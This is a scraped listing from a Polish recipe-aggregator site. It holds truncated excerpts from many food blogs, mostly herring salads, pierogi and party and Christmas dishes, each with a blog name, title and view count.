myjemy, osuszamy i kroimy w ok. 0,5 cm szerokości paseczki. Smażymy na rozgrzanym oleju przez ok. 5-8 minut aż mięso zrobi się szare. Dodajemy całość (wraz z sosem) do cebuli i papryki. Podlewamy wszystko bulionem i gotujemy ok. 15 minut. Dodajemy koncentrat, paprykę ostrą i słodką i całość dusimy jeszcze przez ok. 25 minut aż wołowina będzie miękka

Kulinarnyblog.pl - wiesz jak gotować!
Czosnek kiszony w zalewie 213

antybakteryjny i antybiotykowy czosnek to w postaci kiszonek ma mnóstwo pożytecznych bakterii które wspomagają odporność. Samo zdrowie, a i nie pachnie tak jak świeży, ten kiszony. Idealny do sosów, sałatek, zup i czego tam zechcecie. Zachęcam do kiszenia nie tylko czosnku. Czosnek kiszony w zalewie. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
FORSZMAK 211

słodką, całość zagotowałam. Gotowałam pod przykryciem (na małym palniku) 10 minut. Następnie dodałam pokrojone w paski ogórki kiszone i koncentrat pomidorowy. Można zagęścić danie mąką, my nie przepadamy za sosami, dlatego ja mąkę pominęłam. Po ok.5 minutach wyłączamy palnik. Doprawiamy solą i świeżo mielonym pieprzem. Ja dodałam także 2 łyzki wody od ogórków, dla podkręcenia smaku... Podajemy z pieczywem

Smaczne Zdrowe
Wegetariańskie pierogi jak z mięsem ( z soczewicą i suszonymi pomidorami) 251

wody 2 łyżki oleju farsz: 150 g zielonej soczewicy (suchej) cebula 7-8 plastrów suszonych pomidorów z oleju 2 łyżki oleju (użyłam tego ze słoiczka z suszonymi pomidorami) łyżka sosu sojowego 2 liście laurowe 2 ziarna ziela angielskiego 0/5 łyżeczki suszonego majeranku 0/5 łyżeczki lubczyku 0/5 łyżeczki wędzonej mielonej papryki łyżka posiekanej świeżej natki pietruszki spora szczypta grubomielonego pieprzu sól

Mienta blog
Carpaccio z buraczka ćwikłowego i sera feta 207

danie obiadowe. Oczywiście porcja wtedy powinna być znacznie większa. Buraczek ćwikłowy fajnie sprawdza się w tym daniu. Jego lekko słodkawy smak komponuje się pysznie z sokiem z cytryny. Ja sos, którym polałam całość lekko dosłodziłam syropem z agawy. Jeśli zdecydujecie się na wypróbowanie tego przepisu, zachęcam Was do dzielenia się zdjęciami w zakładce Komentarz. Smacznego Carpaccio z buraczka ćwikłowego

mecooks
Camembert z orzechami w miodzie 177

suchej patelni. 3. Do soku z mandarynki dodajemy miód i mieszamy. 4. Upieczony ser wyjmujemy z piekarnika. Do orzechów na patelnie wylewamy sok z miodem i mieszamy do zgęstnienia sosu i od razu wylewamy na ser, nie zostawiamy, bo inaczej zastygnie na patelni. (adsbygoogle = window.adsbygoogle || []).push({}); Wartość odżywcza: 442 kcal

Zdrowie i pysznie na talerzu
ZAPIEKANKI Z PIECZARKAMI I SZCZYPIORKIEM 261

piekarnika na ok. 10 min. do momentu aż ser się stopi, a bagietki będą chrupiące. Każdą bagietkę posyp świeżym szczypiorkiem. U nas w domu lubimy je z domowym sosem czosnkowym, albo ketchupem

Calzonella.com
Pulpety z indyka w sosie pomidorowym 186

będzie pewnie za mało, ale nie przejmujcie się tym. Następnie dolewamy do nich passatę, dodajemy cukier, sól i pieprz, wszystko gotujemy około 15 minut lub do uzyskania odpowiedniej konsystencji sosu

Kardamonovy
Biszkoptowa rolada bananowa 180

naprawdę niewyszukanych składników, ale nikt się jej nie oprze! Myślę, że banany lubią wszyscy! Puchaty biszkopt czekoladowy wypełniony wspaniałym kremem z mascarpone i bitej śmietany skrywa słodkie banany z sosem czekoladowym. Bez dokładki się nie obejdzie! Składniki na biszkopt: 100 g mąki pszennej 20 g kakao 1/2 łyżeczki proszku do pieczenia 3 duże jajka 100 g ksylitolu/cukru Składniki na krem

Gotuj zdrowo!Guten Appetit!
Makaron ze szpinakiem i fetą 338

gotowanie. Jest to pyszny posiłek, który możesz też śmiało podać na kolację.  Jeśli lubisz dania z makaronem i szpinakiem, to polecam Ci również mój przepis na makaron w sosie śmietanowym ze szpinakiem

AniaGotuje.pl
Ziołowa pierś kurczaka 161

Dzięki ponacinaniu mięsa całe danie wygląda kusząco. Dobrze podać z jakimś sosem, który by wpływał w szczeliny mięsa dodając mu dodatkowych smakowych atutów. Postarałam się nawet dodać sałatę rzymską, by bardziej narobić Wam ochoty na taki prosty i smaczny obiad:) Składniki: 1 podwójna pierś z kurczaka 1 jajko sól, pieprz, lubczyk, przyprawa do drobiu masło klarowane do smażenia (lub olej

Zasmakuj Kuchni
Żurek 221

wieprzowych 500 g surowej białej kiełbasy 500 g wędzonego boczku 500 ml żuru 2 łyżki suszonego majeranku 1 ząbek czosnku 6 łyżek śmietanki 18% lub 30% (do zup i sosów) ORAZ ugotowane jajka chleb biała kiełbasa Przygotowanie: Przygotować bulion jarzynowy.Przecedzony bulion zagotować z dodatkiem pokrojonych na 2 – 3 części wędzonych żeberek lub kości. Gotować przez ok. 20 minut. Dodać

Oka w rosole czyli KaFka gotuje
Gdzie kupować akcesoria do fotografii kulinarnej? Lista inspirujących miejsc 181

sprzedającej ręcznie robioną ceramikę w odcieniach kości słoniowej/szarości. Kupiłam niedużą miseczkę oraz dwie osłonki na świeczki, które wykorzystuję na zdjęciach jako małe pojemniczki na przyprawy czy sos. Pracownia oferuje niestety nieduży wybór naczyń (tylko jasna kolorystyka), za to w bardzo przystępnych cenach. Za miseczkę zapłaciłam 15 zł, za małe osłonki po 5 zł. Miseczki z Pracownia Biała Aliexpress

Chilli Czosnek i Oliwa
SZYBKIE PRZEKĄSKI IMPREZOWE + FILMIK 225

składamy ciasto na pół, tniemy na paski i skręcamy aż powstaną spiralki. Układamy na blaszce. Wszystko pieczemy 10-15 minut w nagrzanym piekarniku do 200 C %.  Podajemy z sosem czosnkowym.  Pierś z kurczaka kroimy w kostkę, pieczemy na oleju z dowolnymi przyprawami. Do miski przekładamy ostudzoną pierś, pokrojonego ananasa, szynkę starty ser i kukurydzę. Dodajemy majonez, sól, pieprz

Kulinarne Fantazje Marioli
Pasta z tuńczyka i awokado 266

przepyszna pasta z tuńczyka - idealna na sylwestrowe przekąski. Robi się ją dosłownie w 5 minut - wliczając w  ten czas ugotowanie jajek. Polecam :) Składniki: - 1 puszka tuńczyka w sosie własnym - 3 jajka - 1 awokado - 2 łyżki soku z cytryny - 2 łyżeczki musztardy - sól - pieprz - szczypiorek Jajka ugotować na twardo. Obrać. Przygotowanie w Tefal Companion: Do misy miksera włożyć ugotowane

CookYourself
Ciastka francuskie z kaparami, serem i pomidorkami 213

jeden kęs. Przekąska na ciepło lub zimno jak kto woli. Z ciasta francuskiego można przygotować tysiące fantazyjnych przekąsek. Z różnymi farszami, jak np. rozmaitymi serami, wędlinami, mięsem, warzywami, sosami, nawet w wersjach na słodko. Takie mini porcje francuskich babeczek ze śmietankowym kremem z karmelizowanymi owocami, do kawy. Wspaniałe! Lubię przygotowywać ruloniki, ślimaczki, palmiery, krążki, roladki, tartaletki, ciasteczka kwadratowe, okrągłe

Zasmakuj Kuchni
Sałatka meksykańska. 487

pomidory wykładamy przestudzone mięso i pieczarki. Następnie układamy odsączoną z zalewy kukurydzę i fasolkę. Jogurt naturalny mieszamy z majonezem, doprawiamy solą, pieprzem i czosnkiem do smaku. Tak przygotowanym sosem polewamy sałatkę.  Ser ścieramy na grubych oczkach, posypujemy nim sałatkę.  Z chipsów układamy koronę, a resztę kruszymy posypując nimi sałatkę

Pani domowa
Chrupki z cieciorki – świetna przekąska na imprezę 261

wysypujemy równomiernie na blasze wyłożonej papierem. Pieczemy przez 20 minut. Gotowe! Przygotowujesz sylwestrową ucztę? Polecam inne moje przepisy: Domowa pizza z rukolą i szynką parmeńską Nuggetsy z piekarnika z sosem tysiąca wysp Frytki z piekarnika Wegański malinowy „sernik” bez sera Biszkoptowa zebra Szybka i prosta szarlotka Dietetyczne trufle

Dieta bez mleka
Sałatka śledziowa 3-składnikowa 168

Bardzo szybka sałatka śledziowa, która bardzo często gości w moim domu...Zrobiona jest z 3-składników: śledzie, cebulka i jabłko. Do tego sos majonezowo- śmietanowy i sałatka gotowa!  Składniki: śledzie w oleju  6 szt, cebula 1 szt, jabłko 1 szt, majonez 5 łyżek, śmietana 18% 160 ml, sól i pieprz do smaku, sok z cytryny do smaku, Sposób

kulinarne odsłony pati
SAŁATKA ŚLEDZIOWA Z BURACZKAMI 180

razie potrzeby wymoczyć w wodzie), cebulę obrać, pokroić w drobną kostkę, przelać wrzątkiem. Jabłko, korniszony, buraki i śledzie kroimy w kostkę i umieszczamy w misce. Dodajemy odsączoną cebulę, zalewamy sosem śmietanowo (jogurtowo)- majonezowym doprawionym octem winnym, cytryną, zmiażdżonym ząbkiem czosnku i świeżo mielonym pieprzem. Całość dokładnie mieszamy i odstawiamy do lodówki, do przegryzienia smaków. Najlepiej na całą noc. Smacznego

Smaczne Zdrowe
Imprezowe koreczki w trzech smakach 225

smaczne, szybkie i proste. Takim daniem są np. mini tortille oraz koreczki w wersji słonej, które stanowią idealną imprezową przekąskę. Możecie przygotować je z dowolnych ulubionych składników z dodatkiem sosów. Ja przygotowałam moje koreczki w trzech różnych wersjach smakowych. Pierwsze były bardzo włoskie, a to za sprawą pomidorków, mozzarelli i bazylii. Drugie były dość wyraziste dzięki dodatkowi sera pleśniowego

Życie ze smakiem
Ragout ze szparagów i piersi kurzych 190

wymieszać z wywarem i wlać na patelnię. Zagotować dokładnie wymieszać. Dodać gałkę. Wlać śmietanę i doprawić do smaku solą i pieprzem. Mięso włożyć do żaroodpornego naczynia, dodać szparagi, zalać sosem. Wstawić do nagrzanego piekarnika do 200 C i piec 35-40 minut. Podawać z makaronem lub ryżem. Smacznego

Kuchnia Pokoleń
Bavette w sosie pomidorowym 197

długich, płaskich i wąskich nitek makaronowych. Do jego przyrządzenia potrzeba pomidorów, jak nie macie świeżych można użyć tych z puszki. Zapraszam do kuchni i odkrywania pysznych smaków. Bavette w sosie pomidorowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Menu sylwestrowe czyli jedzenie na Sylwestra 641

kilka nadzień i przełożyć nimi kanapki. Efektowna zimna przekąska już gotowa! Właściwie moje tegoroczne menu sylwestrowe można przygotować wcześniej, a w Sylwestra jedynie dokończyć. Dlatego ja już mam przygotowany sos romesco , który wykorzystam do nadzienia francuskiego ciasta. Przystawki z francuskiego ciasto to najszybsze i najprostsze przekąski na ciepło. Popularne zarówno wśród dorosłych jak i dzieci. Lubimy mini pizze

codojedzenia
20 wytrawnych przekąsek na imprezę. Sylwester i Karnawał. 233

imprezę to tutaj znajdziecie przepisy na 15 sałatek imprezowych , a obszerne zestawienie pomysłów na menu sylwestrowe jest tutaj . Guacamole - meksykańska salsa Moutabbal - pasta z bakłażana Grillowany bakłażan z sosem czosnkowym Chrupiące polędwiczki kurczaka z pieczonymi ziemniakami Burrito z wołowiną, fasolą i papryką Mini pizza w trzech smakach Mini tartinki z ciasta francuskiego Pa szteciki z pieczarkami Muffiny pizzowe Wrapsy

Codziennik Kuchenny
Śledzie z suszonymi pomidorami 230

Śledzie z suszonymi pomidorami z dodatkiem orzechów to ciekawa alternatywa do tradycyjnych śledzi w oleju. Przygotowujemy je równie szybko, a mają oryginalny, niepowtarzalny smak. Jest to

Kulinarnyblog.pl - wiesz jak gotować!
Surówka z kapusty pekińskiej i pora 309

Paprykę kroimy w drobną kostkę. Jabłko ścieramy na dużych oczkach tarki. Majonez łączymy z jogurtem i sokiem z cytryny. Doprawiamy solą i pieprzem. Składniki surówki łączymy ze sobą, polewamy sosem i dodajemy poszatkowaną natkę pietruszki. Mieszamy

Qchnia po prostu
Bakłażany faszerowane kurczakiem i pieczarkami 213

Warzywne i smaczne danie. Kurczak przyprawiony ziołami w pachnącym sosie pomidorowym z dodatkiem śmietankowego puszystego serka to idealne połączenie z pieczonymi bakłażanami i serem. Wszystko zapiekane w piecu, wspaniałe gorące mięsno-warzywne danie, polecam! Składniki: 2 bakłażany 1 mniejsza podwójna pierś z kurczaka puszka krojonych pomidorów 6 pieczarek 1 cebula 2 suszone pomidory ząbek czosnku 2 łyżki serka naturalnego puszystego

Zasmakuj Kuchni
,,Szaszłyki z oliwkami w cieście francuskim’’ 149

Końcówki zlepiamy dociskając do siebie. Tak przygotowane szaszłyki przekładamy na blaszkę wyłożoną papierem do pieczenia. Pieczemy w 180 stopniach przez ok. 15-20 minut do zrumienienia. Podajemy z dowolnymi sosami np. meksykańskim, czosnkowym lub ketchupem

Podróż w kulinaria
Wołowina duszona z warzywami 198

minut. Dodajemy warzywa pokrojone w słupki lub w kostkę i dusimy do czasu aż mięso będzie miękkie (ok.30-40 minut). 2. Pod koniec doprawiamy do smaku solą i pieprzem, sos można zagęścić mąką i śmietaną

Apetyczna babeczka
OSZUKANE UDKA PRZEPIÓRCZE IDEALNE NA IMPREZKĘ + FILMIK 180

spiekać.  Przekładamy je na blaszkę i jeszcze pieczemy w piekarniku do 180 % C, około 15 minut.   Udka podajemy ciepłe do barszczu lub jako przekąskę z ulubionymi sosami.              Zapraszam do obejrzenia filmiku i subskrybcji kanału

Kulinarne Fantazje Marioli
Śledziowe roladki w sosie z olejem lnianym 215

płat śledzia układam kawałek papryki, dodaję plaster ogórka, marchewki i zwijam w rulon. Z marchewki ugotowanej wycinam temperówką cienkie paski. Owijam nim śledzie.Dodaję cebulę czerwoną. Roladki podaję w sosie polewam olejem lnianym.Posypuję szczypiorkiem

wesoła kuchnia
Schab pieczony w mleku 245

każdej ze stron na rozgrzanej patelni. Mięso z powrotem wkładamy do naczynia żaroodpornego i wkładamy do rozgrzanego piekarnika i pieczemy pod przykryciem w 200 st. C przez 1h. Sos z upieczonego schabu zlewamy do garnka, miksujemy blenderem i gotujemy na małym ogniu aż zgęstnieje. Podajemy z mięsem

kulinarne odsłony pati
Paluszki serowe 5925

pomimo iż są kaloryczne i do najlżejszych nie należą, to są tak pyszne, że raz na jakiś czas można sobie pozwolić na odrobinę szaleństwa;) Świetnie smakują z różnego rodzaju sosami. Np czosnkowym lub majonezowo-ketchupowym z ostrą cebulką . 2 jajka 4 – 6 łyżek śmietanki 30% sól, pieprz pieprz cayanne 1/3 łyżeczki proszku do pieczenia 250 g mąki pszennej

Smaki Na Talerzu
Tortilla de patatas 277

przykryciem przez około 8-10 minut. Następnie odwrócić tortille na drugą stronę (przy pomocy talerza) i smażyć przez kolejne 5-8 minut.  Tortilla najlepiej smakuje z domowym sosem aioli

Kuchnia Bon Appetit
Pomysł na Sylwestra - szybkie crostini z pesto z rukoli 243

Pesto z rukoli ma trochę bardziej pieprzny smak i aromat, który kojarzy mi się z wiosenną zieleniną. Można nim smarować pieczywo zamiast masłem, wykorzystać do takich flatbreadów , użyć zamiast sosu do sałatki z makaronem czy kaszą oraz wzbogacić przy jego pomocy smak zup (pasuje na przykład do minestrone , fasolowej i ziemniaczanej). Tym razem z pomocą takiego pesto wyczarowałam  crostini

Chilli Czosnek i Oliwa
Kiełbaski w cieście francuskim, szybka przekąska 236

ciasto, z góry możesz posypać np czerwoną słodką papryką. Wstawiamy do piekarnika i pieczemy około 15 minut, aż ciasto się za złoci. Do tych kiełbasek możesz podać np. sos czosnkowy Ps. możecie użyć parówek również oczywiście. Kiełbaski w cieście francuskim, szybka przekąska

Kuchnia na wzgórzu
Śledzie z suszonymi śliwkami i cebulą 223

smakowych. Gotowe śledzie z suszonymi śliwkami i cebulą najlepiej jest wstawić na co najmniej 2-3 godziny do lodówki. Smacznego. Zapraszam również do skorzystania z innych przepisów: Śledzie w sosie musztardowym Przepis na śledzie po kaszubsku Pasta z makreli i jajek – prosty przepis   Artykuł Śledzie z suszonymi śliwkami i cebulą pochodzi z serwisu Księga Smaku

Księga-Smaku
Pulpety ryżowe w śmietanie 165

masy uformowałem niewielkie pulpety, obtoczyłem w mące, smażyłem na złoty kolor. Następnie zalałem rosołem, dusiłem 5 minut. Do rosołu dodałem śmietanę i sok z cytryny. Pulpety podałem polane sosem i posypane świeżą pietruszką

R'n'G Kitchen
Ryba po grecku 1286

ostrą paprykę. Ryba po grecku smakuje na ciepło i na zimno. Ryba po grecku to smażone kawałki ryby zanurzone w duszonych tartych warzywach – marchewce, selerze, pietruszce, cebulą z sosem pomidorowym: passatą i koncentratem pomidorowym. Do tego kilka przypraw, ziele, liście laurowe. Na talerzu / głębokiej misce układa się rybę, farsz, rybę, farsz, i tak dalej. Składniki: filety rybne

Zasmakuj Kuchni
Kryzysowa wigilia - tradycyjna. 178

Pietruszkę, seler i grzyby gotujemy w wodzie. Kiedy się ugotują, warzywa wyciągamy. Dodajemy wypłukany groch i gotujemy aż zmięknie. Doprawiamy solą i pieprzem ziołowym. Carpaccio z pieczonego buraka z sosem jałbkowym Niby jakieś carpaccio, ale składniki tradycyjne. Według wierzeń jabłka i buraki gwarantowały zdrowie. W nowym roku chyba chcemy być zdrowi, co nie? Składniki: - buraki - jabłka  - olej rzepakowy Wykonanie

Kryzysowa Książka Kucharska
BIAŁA KIEŁBASA PIECZONA Z ZIEMNIAKAMI 214

święta 😉 Takim ciepłym i treściwym posiłkiem nikt nie pogardzi, zwłaszcza w Sylwestra. Szczególnie pyszna jest pieczona w piekarniku z różnymi dodatkami - u mnie z ziemniakami i cebulką, w winnym sosie z musztardą francuską. Znakomite danie! Składniki: 6 białych kiełbas surowych 2 cebule 2-3 ziemniaki 2 liście laurowe 4-5 ziaren angielskich 1 szklanka bulionu 1/3 szklanki białego wina wytrawnego

Kuchnia MagdaLeny
Sałatka z awokado, czerwoną fasolką i pomidorkami cherry 232

Składniki: 2 awokado 4 jajka ugotowane na twardo 1/2 puszki czerwonej fasolki 1/2 puszki kukurydzy 1/2 pęczka szczypiorku 12 pomidorków cherry Sos: 2 łyżki jogurtu greckiego 2 łyżeczki majonezu 1 łyżka soku z cytryny 3 ząbki czosnku sól, pieprz Sposób wykonania: Awokado i jajka kroimy w dużą kostkę. Pomidorki kroimy na pół. Fasolę i kukurydzę odsączamy z zalewy.  Wszystkie

Qchnia po prostu
Niebo w gębie 192

śmietanki  36% 90 g czekolady deserowej Śmietanę podgrzać prawie do wrzenia, zdjąć z ognia. Dodać posiekaną czekoladę, odstawić na 2 minuty. Po tym czasie wymieszać do powstania gładkiego sosu czekoladowego. Wystudzić

kulinarnyswiatdomi
Moje przepisy świąteczne i życzenia 155

fajniejszych przepisów, które napisałam Ciasto pomarańczowe z żurawiną Bigos z czerwonek kapusty z owocami Ciasto korzenne z gruszką gotowaną w winie Ciasto migdałowe z polentą i pomarańczami Karp w sosie pomarańczowym Makowiec z kaszą jaglaną Śledź w jogurcie z jabłkiem Łamana beza z kremem amaretto Krucha choinka z kremem Sernik czekoladowy na makowym spodzie Ozdobny wieniec z bułeczek Kruche anioły

AZgotuj!
Śledzie w sosie musztardowym 314

Pyszne i bardzo szybkie do zrobienia śledzie w sosie musztardowym z dodatkiem śmietany i majonezu. To przepyszna przekąska idealna na Świąteczny stół, ale i na każdą inną okazję. Tę sałatkę śledziową szykuje się błyskawicznie.  Polecam również świetną i bardzo tradycyjną  sałatkę śledziową ze śmietaną i jabłkiem oraz śledzika z żurawiną ! Nie można też nie wspomnieć o przepysznych śledziach

AniaGotuje.pl
Kaczka pieczona w winie z szalotką i kasztanami 281

mięsa. Jeżeli mięso nie będzie jeszcze odpowiednio kruche pozwolić mu na dłuższe pieczenie pod kontrolą.  (Uwaga -około 20 minut przed końcem odkryć naczynie, by mięso się przyrumieniło, a sos zredukował) W osobnym garnku ugotować ziemniaki z solą, pieprzem oraz gałką muszkatołową. Po 20 minutach dodać mrożony groszek, wyłączyć gaz. Po chwili odcedzić z wody, dodać masło, śmietankę i ubić

Wino Francja Kuchnia
Piernik bananowy i róża z karmelu 223

końcu okazała się strzałem w dziesiątkę... Jak będzie komponować się z resztą? Zobaczymy już za moment. Póki co, niemal wpadłam w zachwyt, gdy próbna kulka rozpuściła się pod sosem malinowym... Ale o tym opowiem innym razem; jak już uda mi się wszystko ogarnąć. Żeby było jeszcze śmieszniej, jutro (dwudziestego drugiego grudnia, jakby ktoś zapomniał) mam egzaminy, na które nie tylko

Pożeraczka, czyli raz adobrze
Kulebiak z rybą i ryżem 201

ryżu i pieczarek, oraz ciasto francuskie które tworzą efektowne, smaczne połączenie idealne na wigilijną kolację. Wypróbuj mój przepis. Po upieczeniu plastry kulebiaka kładziemy na sałatę, do kulebiaka przygotowałam jeszcze sos pieczarkowy. Kulebiaka dekorujemy pietruszką. Łososia można zastąpić mintajem lub dorszem i zamiast w mleku, możemy ugotować rybę w bulionie. Składniki: 1 szklanka mleka ½ kg świeżego łososia 100 g pieczarek

Damsko-męskie spojrzenie na kuchnię
Śledzie po kaszubsku 158

Cebule kroimy w cienkie plastry i podsmażamy na oliwie. Do podsmażonej cebuli dodajemy keczup, cukier, ocet, ziele angielskie, liście laurowe, pieprz i majeranek. Całość zagotowujemy.  Do tak przygotowanego sosu dodajemy nasze pokrojone w kawałki śledzie. Całość studzimy i wkładamy do lodówki do przegryzienia się, na przynajmniej dobę. Pyszności! Smacznego! :) Przepis został napisany w związku z akcją SEKO "Jedna

MamaOskarka
PLACKI Z WIÓRKAMI KOKOSOWYMI 137

obiad czy na podwieczorek. Tym razem postawiłam na placki z wiórkami kokosowymi. Wyszły naprawdę przepyszne, pulchne, nie za słodkie, po prostu idealne. Wystarczy je posypać cukrem pudrem, polać dowolnym sosem lub podać z ulubioną konfiturą.  Składniki na około 26 placków: * 3 szklanki mąki pszennej * 1 jajko * szczypta soli * pół łyżeczki proszku do pieczenia  (użyłam Skworcu) * 3 łyżki cukru

Zrób to smacznie
Wigilia i Boże Narodzenie: Mini pieczarki z cebulą w pomidorowej, słodko-kwaśnej zalewie 192

czasie do garnka wrzuć cebulę. Całość dobrze wymieszaj i gotuj przez około 20 minut. Po upływie tego czasu do garnka włóż pieczarki oraz czosnek. Warzywa wraz z sosem dokładnie wymieszaj i gotuj przez następne 15 minut. Gotowe pieczarki z cebulą w pomidorowej, słodko-kwaśnej zalewie przełóż do przygotowanych wcześniej słoików, które od razu zakręcaj i ustawiaj do góry dnem

blog.moje-pasje.info
Śledzie w sosie chrzanowym 491

Kolejna odsłona śledzi -tym razem padło na sos chrzanowy-bardzo smaczne połączenie-wypróbujcie koniecznie Przepis zaczerpnęłam  ze strony Domogród - dziękuję za pomysł Składniki:: 5-6 wymoczonych płatów śledziowych matias 2-3 łyżki najlepiej majonezu  2 łyżki śmietany 18 % 2-3 łyżki soku z cytryny   2-3 łyżeczki chrzanu lub więcej - to zależy od jego ostrości 1 małe

Swojskie jedzonko
Potrawy wigilijne 261

warzywami w zalewie   10. Śledzie *** Śledzie w zalewie octowej PRZEPIS TUTAJ *** Śledzie w śmietanie PRZEPIS TUTAJ *** Śledzie w zalewie pomidorowej PRZEPIS TUTAJ   11. Łosoś *** łosoś pieczony w sosie sojowym z miodem PRZEPIS TUTAJ *** łosoś pieczony w ziołach i maśle czosnkowym PRZEPIS TUTAJ *** łosoś zapiekany ze szpinakiem i mozzarellą PRZEPIS TUTAJ   12. Ciasta *** Makowiec zawijany PRZEPIS TUTAJ *** Makowiec

Blog z Apetytem
Sałatka z tuńczykiem, fasolką i ryżem 198

piątek postaram się przygotować post, w którym zbiorę wszystkie swoje przepisy typowo na aktualny okres, abyście nie musieli szukać po całym blogu. :) Składniki: -2 puszki tuńczyka (najlepiej w sosie własnym) -1 puszka fasoli czerwonej -4 jajka na twardo -5 plastrów ananasa w puszki -1 czerwona cebula -3 łyżki majonezu -3 łyżki jogurtu naturalnego -sól, pieprz wedle uznania -100 g ryżu

Zdrowie i pysznie na talerzu
Pierogi gryczane z policzkami cielęcymi i pieczonymi warzywami oraz sosem z bulionu 160

zjeść, ale można też było przygotować dwie porcje pierogów. Gryczane ciasto na pierogi o charakterystycznym smaku, farsz z policzków i cebuli a do tego posypka z pieczonych warzyw i sos z mocno zredukowanego bulionu. Pycha! Warto to zaplanować właśnie na dwa dni, bo żeby zrobić pierogi wcześniej trzeba ugotować policzki, co zajmuje sporo czasu

Milion Smaków
Śledzie w oleju z cebulą i pieczoną papryką 201

Śledzie na pewno każdy lubi, jedni w oleju, inni w jogurcie, w śmietanie czy w różnych sosach. My mamy dla Was nietypową propozycję śledzi w oleju z cebulą i pieczoną papryką. Śledzie mają smak słony a jednocześnie słodkawy za sprawą pieczonej papryki. Mamy nadzieję że i Wam posmakują tak jak nam :)   Składniki

Kuchenne Wariacje
ROLADA SCHABOWA W MARYNACIE MUSZTARDOWEJ NADZIEWANA CEBULĄ + FILMIK 247

pieczenia, w temperaturze 180 % C, przez około 1- 1,5 godziny.  Po całkowitym ostudzeniu z mięsa zdejmujemy nić, kroimy mięso na plastry. Z powstałego wywaru można przygotować sos pieczeniowy.  Mięso podajemy na ciepło na obiad lub zimno do pieczywa. Smacznego.                                  Zapraszam

Kulinarne Fantazje Marioli
Szybka przekąska – Domowa bagietka z masłem czosnkowym 295

Jeśli potrzebujecie pomysłu na fajną przekąskę polecam Wam domową bagietkę z masłem czosnkowym. Taka przekąska jest idealna na spotkanie ze znajomymi, albo na wieczór spędzany przez

Kulinarnyblog.pl - wiesz jak gotować!
Kluski ziemniaczane zapiekane z warzywami w sosie pomidorowym 253

kiedy kluski wypłyną na wierzch gotujemy jeszcze 1,5 minuty. 8. Żaroodporne naczynie lub naczynie ceramiczne do zapiekania, smarujemy oliwą z oliwek i wykładamy ugotowane kluseczki, zalewamy wcześniej przygotowanym sosem. 9. Całość zapiekamy w 190 stopniach przez 10 minut pod przykryciem, potem 10 minut bez przykrycia. 10. Smacznego,  przepyszne i aromatyczne danie gotowe

Mój pomysł na
Pasztet z czarnej fasoli. 172

chyba też). Czegoś, co będzie idealnie pasować do tych wszystkich chrzanów, ćwikieł, żurawin i domowych musztard (jeśli kto zrobi). A jeżeli nawet, z jakiegoś niepojętego powodu, zabrakłoby tych pysznych sosów, to marynowanych grzybków i ogórków nie zabraknie na pewno. Ach, jakież to wymarzone połączenie z pasztetem! Z fasolowym też - jak najbardziej. Ta wegetariańska wersja smakołyku, nie dość, że jest zwyczajnie

zadanie-gotowanie
Śledzie po kaszubsku z wędzoną śliwką 215

Cebulę kroimy w pióra, blanszujemy na rozgrzanym oleju z dodatkiem cukru. Pod koniec gdy cebula zmięknie dodajemy ocet, przyprawy, koncentrat i śliwki, mieszamy i odstawiamy do wystudzenia. 3. Zimny sos łączymy ze śledziami, mieszamy i przekładamy do słoików. Przetrzymujemy w chłodnym miejscu od 2 do 3 tygodni

Apetyczna babeczka
Śledzie po kaszubsku 380

można ją przygotować na tydzień do 10 dni przed Świętami i trzymać w słoiku, w lodówce. Przepis na tę sałatkę śledziową ze śliwką kalifornijską polecam wszystkim miłośnikom śledzia w sosie słodko kwaśnym

AniaGotuje.pl
Karp z chrzanem. 185

Resztę masła roztop i polej nim rybę. Wstaw do nagrzanego piekarnika ( 180 C ) i piec około 30 minut. Jajka obierz, pokrój w kostkę , posyp nimi karpia, zalej przygotowanym wcześniej sosem i zapiec. Gdy na wierzchu zacznie robić się zrumieniona skórka to znak, że potrawa jest gotowa

Przepisy i porady kulinarne
Pierogi z kiszoną kapustą – kuchnia podkarpacka 257

kiszoną - kuchnia podkarpacka Zapraszam również na inne podkarpackie dania, świąteczne i nie tylko : Kapusta z grzybami po lasowiacku Kapusta z grochem Łemkowska kapusta duszona z kminkiem Karp pieczony w sosie Gołąbki z kaszą jęczmienną i grzybami Gołąbki z kaszą gryczaną i ziemniakami Więcej przepisów w zakładce KUCHNIA PODKARPACKA . Zapraszam

Trzeci talerz
Jak zrobić klasyczny tatar wołowy? 428

ogórki drobno kroimy i układamy obok mięsa. Tatar na zdjęciu poniżej wykonanałam z podwójnej porcji składników *** *** Tatar podajemy schłodzony, tego samego dnia, w którym został przygotowany *** *** SMACZNEGO *** Polecam także: Sos tatarski     Artykuł Jak zrobić klasyczny tatar wołowy? pochodzi z serwisu Blog z apetytem

Blog z Apetytem
Imprezowe Hity!!! 30 pomysłów na przekąski, dania, sałatki i przystawki na przyjęcie :)) 8821

możemy poświęcić na przygotowanie przekąsek. Najważniejsze jest aby nasz poczęstunek zachwycał zarówno pięknym wyglądem jak i wspaniałym smakiem. Oto kilka moich propozycji: *** Jajeczka faszerowane (przepis: TUTAJ ) ,lub jajka z sosem tatarskim (przepis: TUTAJ ) *** Paszteciki z mięsem (przepis: TUTAJ ) lub z kapustą i grzybami (przepis: TUTAJ ) *** Mini burgery (przepis: TUTAJ ) *** Muffinki-pizzerinki (przepis: TUTAJ )   *** Pijane galaretki w pomarańczach. Na galaretki

Blog z Apetytem
Domowa pieczeń rzymska 439

wszystkich mięsożerców. Taką pieczeń można jeść zarówno na ciepło jak i na zimno, jako na przykład dodatek do kanapek. Pokrojona na gorąco w grube plastry i podana z ciemnym sosem będzie idealna jako danie obiadowe, natomiast po wystygnięciu, doskonale sprawdzi się jako obkład do chleba w postaci cieniutkich plasterków. Podczas pieczenia z mięsa wytapia się tłuszcz (ponieważ w składzie jest

Blog z Apetytem
Domowy pasztet wieprzowy 370

pasztety, ja zawsze jeden z nich wzbogacam o suszoną śliwkę, gdyż uwielbiam ten lekko słodkawy smak w mięsie. Na święta i większe okazję, zawsze do pasztetu przygotowuje jako dodatek sos tatarski (przepis TUTAJ ). Polecam Składniki: 2 kg mięsa wieprzowego ( użyłam po równo: szynki, łopatki, karkówki i boczku ) 2 cebule włoszczyzna: 1 marchew, 1 niewielka pietruszka, kawałek selera, kawałek pora, opcjonalnie

Blog z Apetytem
Kutia wigilijna – tradycyjny przepis 380

